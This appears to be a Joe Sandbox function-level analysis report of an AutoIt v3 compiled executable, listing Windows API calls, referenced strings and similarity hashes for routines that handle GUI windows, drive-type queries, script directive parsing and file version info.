Function 00592C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00592CA2
DeleteObject.GDI32(00000000), ref: 00592CE8
DeleteObject.GDI32(00000000), ref: 00592CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00592CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00592D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 005CC43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 005CC474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 005CC89D

Part of subcall function 00591B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00592036,?,00000000,?,?,?,?,005916CB,00000000,?), ref: 00591B9A

SendMessageW.USER32(?,00001053), ref: 005CC8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 005CC8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 005CC907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 005CC912

Strings

0, xrefs: 005CC731

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: f455d094814ea5e36465b7dae493a79d1690b70fe4d61ac232a8d48762f9e8e0
Instruction ID: 71e4cc9ce32716fa1e51540e7cb759c1fb44029b2ed0ef69ba270235be7c0902
Opcode Fuzzy Hash: f455d094814ea5e36465b7dae493a79d1690b70fe4d61ac232a8d48762f9e8e0
Instruction Fuzzy Hash: 17127B30604202AFDB15CF64C988BA9BFE5FF45301F58856DE999DB262C731EC82DB91

Function 006074AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 006074DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0060759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 006075DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 006075ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00607633
GetClientRect.USER32(00000000,?), ref: 0060763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00607683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00607692
GetStockObject.GDI32(00000011), ref: 006076A2
SelectObject.GDI32(00000000,00000000), ref: 006076A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 006076B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006076BF
DeleteDC.GDI32(00000000), ref: 006076C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 006076F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 0060770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00607746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0060775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 0060776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0060779B
GetStockObject.GDI32(00000011), ref: 006077A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 006077B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 006077BB

Strings

msctls_progress32, xrefs: 0060773C
DISPLAY, xrefs: 00607688
static, xrefs: 0060767D, 00607795
AutoIt v3, xrefs: 0060762B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: e7c4789158ef9e2019255ee459e158dc6dc870f545a4124c3f9a4968cb705c0d
Instruction ID: 22dada907d7eb46ec9069c6522ec1a4d8acb54851c4196c6db698daef63df9c9
Opcode Fuzzy Hash: e7c4789158ef9e2019255ee459e158dc6dc870f545a4124c3f9a4968cb705c0d
Instruction Fuzzy Hash: 9BA15E71A40605BFEB14DBA4DC4AFEE7BBAEB48711F048115FA15A72E0DA70AD00CB60

Function 005FAD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 005FAD1E
GetDriveTypeW.KERNEL32(?,0061FAC0,?,\\.\,0061F910), ref: 005FADFB
SetErrorMode.KERNEL32(00000000,0061FAC0,?,\\.\,0061F910), ref: 005FAF59

Strings

\\.\, xrefs: 005FAD70
ATA, xrefs: 005FAED4
SAS, xrefs: 005FAF05
RAMDisk, xrefs: 005FAE25
SCSI, xrefs: 005FAEC6
CDROM, xrefs: 005FAE2F
PhysicalDrive, xrefs: 005FADA7
SATA, xrefs: 005FAF0C
Fixed, xrefs: 005FAE43
Fibre, xrefs: 005FAEE9
iSCSI, xrefs: 005FAEFE
SSD, xrefs: 005FAE86
RAID, xrefs: 005FAEF7
ATAPI, xrefs: 005FAECD
USB, xrefs: 005FAEF0
MMC, xrefs: 005FAF1A
Unknown, xrefs: 005FAE1B, 005FAEBF
1394, xrefs: 005FAEDB
Virtual, xrefs: 005FAF21
Removable, xrefs: 005FAE4D
Network, xrefs: 005FAE39
FileBackedVirtual, xrefs: 005FAF28
SSA, xrefs: 005FAEE2

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 571189c43066111ec8c52c53312a9ec1885fece321638c3adc98452213e0696e
Instruction ID: bbce97f8295ecc415768ce7dfdb91c308a44835ea11fc00ffa8001d8bc3cb1ed
Opcode Fuzzy Hash: 571189c43066111ec8c52c53312a9ec1885fece321638c3adc98452213e0696e
Instruction Fuzzy Hash: 1B51B7F464420EEF8B00EB14C946CBD7FE6FB487007214856F60BAB291EA799D41EB53

Function 005968DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00596931
__wcsnicmp.LIBCMT ref: 00596949
__wcsnicmp.LIBCMT ref: 00596961
__wcsnicmp.LIBCMT ref: 00596979
__wcsnicmp.LIBCMT ref: 00596991
__wcsnicmp.LIBCMT ref: 005969A9
__wcsnicmp.LIBCMT ref: 005969C1
__wcsnicmp.LIBCMT ref: 005969D5
__wcsnicmp.LIBCMT ref: 00596A16
__wcsnicmp.LIBCMT ref: 00596A2A
__wcsnicmp.LIBCMT ref: 00596A3E
__wcsnicmp.LIBCMT ref: 00596A52

Strings

#notrayicon, xrefs: 00596943
#include, xrefs: 005969A3
Bad directive syntax error, xrefs: 005CE31A
Unterminated group of comments, xrefs: 005CE403
#ce, xrefs: 00596A4C
Cannot parse #include, xrefs: 005CE3F0
#OnAutoItStartRegister, xrefs: 00596973
#comments-end, xrefs: 00596A38
#comments-start, xrefs: 005969BB, 00596A10
#cs, xrefs: 005969CF, 00596A24
#pragma compile, xrefs: 0059692B
#requireadmin, xrefs: 0059695B
#include-once, xrefs: 0059698B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 5e894d536cc01012404ed26e30adbeb9b30c74d2913017657a5724dc423c2567
Instruction ID: 22c563ead0b3e449c3be48a0381bba28a7f92c5ca974050ac6ff74e7d7500d42
Opcode Fuzzy Hash: 5e894d536cc01012404ed26e30adbeb9b30c74d2913017657a5724dc423c2567
Instruction Fuzzy Hash: B181E4B1600206BADF21AB60EC47FAF3F69FF45700F044425F905AA196EF60EA49D6A1

Function 00619A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00619AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00619B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 00619BA7

Strings

0, xrefs: 00619BE4

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 6cb69d07449a8737b525102254a95c73ecbd33515015a917a760d13d1eb53369
Instruction ID: 432098e61a661caad671604504e4f1f614b44d8cb74d6910851351886c3dde6f
Opcode Fuzzy Hash: 6cb69d07449a8737b525102254a95c73ecbd33515015a917a760d13d1eb53369
Instruction Fuzzy Hash: DC02BD70104301AFD725CF24C869BEABBE6FF49314F08852DF999962A1C735D985CBA2

Function 0061A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0061A903
SetTextColor.GDI32(?,?), ref: 0061A907
GetSysColorBrush.USER32(0000000F), ref: 0061A91D
GetSysColor.USER32(0000000F), ref: 0061A928
CreateSolidBrush.GDI32(?), ref: 0061A92D
GetSysColor.USER32(00000011), ref: 0061A945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0061A953
SelectObject.GDI32(?,00000000), ref: 0061A964
SetBkColor.GDI32(?,00000000), ref: 0061A96D
SelectObject.GDI32(?,?), ref: 0061A97A
InflateRect.USER32(?,000000FF,000000FF), ref: 0061A999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0061A9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 0061A9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0061A9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0061AA14
InflateRect.USER32(?,000000FD,000000FD), ref: 0061AA32
DrawFocusRect.USER32(?,?), ref: 0061AA3D
GetSysColor.USER32(00000011), ref: 0061AA4B
SetTextColor.GDI32(?,00000000), ref: 0061AA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0061AA67
SelectObject.GDI32(?,0061A5FA), ref: 0061AA7E
DeleteObject.GDI32(?), ref: 0061AA89
SelectObject.GDI32(?,?), ref: 0061AA8F
DeleteObject.GDI32(?), ref: 0061AA94
SetTextColor.GDI32(?,?), ref: 0061AA9A
SetBkColor.GDI32(?,?), ref: 0061AAA4

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: ac9d8bdd46e28ab2a21bb4bedf57dd1651dcb3ad91e1a473d3d6ad01455e027d
Instruction ID: 9b467e08c0f29991006ab24850e57aed449d3e85edb793224c51ded1894ea538
Opcode Fuzzy Hash: ac9d8bdd46e28ab2a21bb4bedf57dd1651dcb3ad91e1a473d3d6ad01455e027d
Instruction Fuzzy Hash: C7515C71901208FFDB10DFA4DC49EEE7B7AEF08320F199626F915AB2A1D7719940CB90

Function 006189D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00618AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00618AD2
CharNextW.USER32(0000014E), ref: 00618B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00618B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00618B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00618B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00618B86
SetWindowTextW.USER32(?,0000014E), ref: 00618BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00618BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 00618C1F
_memset.LIBCMT ref: 00618C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00618C8D
_memset.LIBCMT ref: 00618CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00618D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 00618D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 00618E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 00618E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00618E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00618EB4
DrawMenuBar.USER32(?), ref: 00618EC3
SetWindowTextW.USER32(?,0000014E), ref: 00618EEB

Strings

0, xrefs: 00618E55

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: a0cad256450295dabb98981814b3724085fcde042fcffecca185e066bd1dc012
Instruction ID: 4ef9533d67a4a9b74a7b2b560dbe1f1d44709c112793c6343aa7e74afddc7bc1
Opcode Fuzzy Hash: a0cad256450295dabb98981814b3724085fcde042fcffecca185e066bd1dc012
Instruction Fuzzy Hash: 41E15F70904219AFDB20DF50CC88EEE7B7AFF49750F18815AF915AB290DB709985DF60

Function 0061488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 006149CA
GetDesktopWindow.USER32 ref: 006149DF
GetWindowRect.USER32(00000000), ref: 006149E6
GetWindowLongW.USER32(?,000000F0), ref: 00614A48
DestroyWindow.USER32(?), ref: 00614A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00614A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00614ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00614AE1
SendMessageW.USER32(?,00000421,?,?), ref: 00614AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00614B09
IsWindowVisible.USER32(?), ref: 00614B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00614B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00614B58
GetWindowRect.USER32(?,?), ref: 00614B70
MonitorFromPoint.USER32(?,?,00000002), ref: 00614B96
GetMonitorInfoW.USER32(00000000,?), ref: 00614BB0
CopyRect.USER32(?,?), ref: 00614BC7
SendMessageW.USER32(?,00000412,00000000), ref: 00614C32

Strings

0, xrefs: 00614975
(, xrefs: 00614BA3
tooltips_class32, xrefs: 00614A96

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 66f9886d99e7643a172fd6932dbe4ee952b45d946d547e57e4db611d920ee7cc
Instruction ID: d96ff3ae02e31ae1d27d986a1a7bbbe94bb2096bbbb91722fc8ed56578133e88
Opcode Fuzzy Hash: 66f9886d99e7643a172fd6932dbe4ee952b45d946d547e57e4db611d920ee7cc
Instruction Fuzzy Hash: B8B1BE70608341AFDB04DF68C849BAABBE6FF84310F04891DF5999B2A1DB71EC45CB95

Function 005F449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 005F44AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 005F44D2
_wcscpy.LIBCMT ref: 005F4500
_wcscmp.LIBCMT ref: 005F450B
_wcscat.LIBCMT ref: 005F4521
_wcsstr.LIBCMT ref: 005F452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 005F4548
_wcscat.LIBCMT ref: 005F4591
_wcscat.LIBCMT ref: 005F4598
_wcsncpy.LIBCMT ref: 005F45C3

Strings

04090000, xrefs: 005F457E
DefaultLangCodepage, xrefs: 005F45AB
StringFileInfo\, xrefs: 005F451B
%u.%u.%u.%u, xrefs: 005F4626
\VarFileInfo\Translation, xrefs: 005F4540

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: a2c1b2d771e5bb6c813de1c74cc9cae5742c72a07a6301d389767260a3df064a
Instruction ID: efcf0c6db3f9ac937c302ba66c4825d5530f3ab95e8fa8a2e1b8f850e817c4e9
Opcode Fuzzy Hash: a2c1b2d771e5bb6c813de1c74cc9cae5742c72a07a6301d389767260a3df064a
Instruction Fuzzy Hash: 0C41B6315402067EDB10BB749C4AEFF7FACFF86710F044566FA05E61C2EA39AA0196B5

Function 005927D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005928BC
GetSystemMetrics.USER32(00000007), ref: 005928C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005928EF
GetSystemMetrics.USER32(00000008), ref: 005928F7
GetSystemMetrics.USER32(00000004), ref: 0059291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00592939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00592949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0059297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00592990
GetClientRect.USER32(00000000,000000FF), ref: 005929AE
GetStockObject.GDI32(00000011), ref: 005929CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 005929D5

Part of subcall function 00592344: GetCursorPos.USER32(?), ref: 00592357
Part of subcall function 00592344: ScreenToClient.USER32(006557B0,?), ref: 00592374
Part of subcall function 00592344: GetAsyncKeyState.USER32(00000001), ref: 00592399
Part of subcall function 00592344: GetAsyncKeyState.USER32(00000002), ref: 005923A7

SetTimer.USER32(00000000,00000000,00000028,00591256), ref: 005929FC

Strings

AutoIt v3 GUI, xrefs: 00592974

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: c248c58623c94ee398e6e910fcc9afd8506b91708703a0467acc6b25b53e265c
Instruction ID: 9d3c5c330ffd1e759cd80a6229a01e213d58b89ef2e01ec6185ab1e615d944a9
Opcode Fuzzy Hash: c248c58623c94ee398e6e910fcc9afd8506b91708703a0467acc6b25b53e265c
Instruction Fuzzy Hash: DEB13F7160020AEFDF14DFA8DC59BED7FB6FB48311F149129FA16A62A0DB74A841CB50

Function 005EA439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 005EA47A
__swprintf.LIBCMT ref: 005EA51B
_wcscmp.LIBCMT ref: 005EA52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 005EA583
_wcscmp.LIBCMT ref: 005EA5BF
GetClassNameW.USER32(?,?,00000400), ref: 005EA5F6
GetDlgCtrlID.USER32(?), ref: 005EA648
GetWindowRect.USER32(?,?), ref: 005EA67E
GetParent.USER32(?), ref: 005EA69C
ScreenToClient.USER32(00000000), ref: 005EA6A3
GetClassNameW.USER32(?,?,00000100), ref: 005EA71D
_wcscmp.LIBCMT ref: 005EA731
GetWindowTextW.USER32(?,?,00000400), ref: 005EA757
_wcscmp.LIBCMT ref: 005EA76B

Part of subcall function 005B362C: _iswctype.LIBCMT ref: 005B3634

Strings

%s%u, xrefs: 005EA515

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 34e9576cc61aeeb734005f4745bf1018487bb7b09e47dfc4ca59ccab46b774bf
Instruction ID: 8833560b7df429ec5481993b5d69db86cfeda91ff4a3a82784d382c6404c0c36
Opcode Fuzzy Hash: 34e9576cc61aeeb734005f4745bf1018487bb7b09e47dfc4ca59ccab46b774bf
Instruction Fuzzy Hash: B7A1B171604646ABDB19DF71C888BEABBE8FF44314F04852AF9D9D2190DB30F945CB92

Function 005EAED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 005EAF18
_wcscmp.LIBCMT ref: 005EAF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 005EAF51
CharUpperBuffW.USER32(?,00000000), ref: 005EAF6E
_wcscmp.LIBCMT ref: 005EAF8C
_wcsstr.LIBCMT ref: 005EAF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 005EAFD5
_wcscmp.LIBCMT ref: 005EAFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 005EB00C
GetClassNameW.USER32(00000018,?,00000400), ref: 005EB055
_wcscmp.LIBCMT ref: 005EB065
GetClassNameW.USER32(00000010,?,00000400), ref: 005EB08D
GetWindowRect.USER32(00000004,?), ref: 005EB0F6

Strings

ThumbnailClass, xrefs: 005EAFE0, 005EB060
@, xrefs: 005EAEF9

Memory Dump Source

